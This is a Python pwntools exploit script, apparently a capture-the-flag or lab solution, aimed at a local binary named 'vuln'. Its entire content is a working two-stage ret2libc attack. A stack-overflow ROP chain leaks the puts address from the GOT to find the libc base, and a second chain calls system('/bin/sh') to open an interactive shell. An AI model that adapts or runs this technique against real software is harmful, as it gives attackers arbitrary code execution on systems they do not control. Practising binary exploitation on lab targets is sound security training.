from pwn import *
import sys

context.binary = elf = ELF("./vuln")
rop = ROP(elf)
libc = ELF("./libc.so.6")
io = process("./vuln")

if len(sys.argv) == 2:
    if sys.argv[1] == "debug":
        context.terminal = ["tmux", "splitw", "-h"]
        gdb_commands = """
            break *0x00000000004011cd
        """
        gdb.attach(io, gdb_commands)

print(io.recvuntil(b"Enter your name: \n"))

# *************** EXPLOIT PART *************** #


padding = b"A" * 24

leak_chain = b""

puts_got = p64(elf.got["puts"])
puts_plt = p64(elf.plt["puts"])
pop_rdi = p64(rop.find_gadget(["pop rdi", "ret"])[0])
main = p64(elf.sym["main"])

leak_chain += pop_rdi + puts_got + puts_plt + main

leak_payload = padding + leak_chain
io.sendline(leak_payload)

# Program sends extra lines we need to account for
io.recvline()

leak = u64(io.recvuntil(b'\n').strip().ljust(8, b'\x00'))
print("Leak: ", hex(leak))


libc.address = leak - libc.sym["puts"]

bin_sh = p64(next(libc.search(b"/bin/sh")))
print("/bin/sh: ", hex(u64(bin_sh)))
system = p64(libc.sym["system"])
print("system: ", hex(u64(system)))
align_gadget = p64(rop.find_gadget(["ret"])[0])

exec_chain = align_gadget + pop_rdi + bin_sh + system

exec_payload = padding + exec_chain
io.sendline(exec_payload)

# *************** EXPLOIT END *************** #

io.interactive()
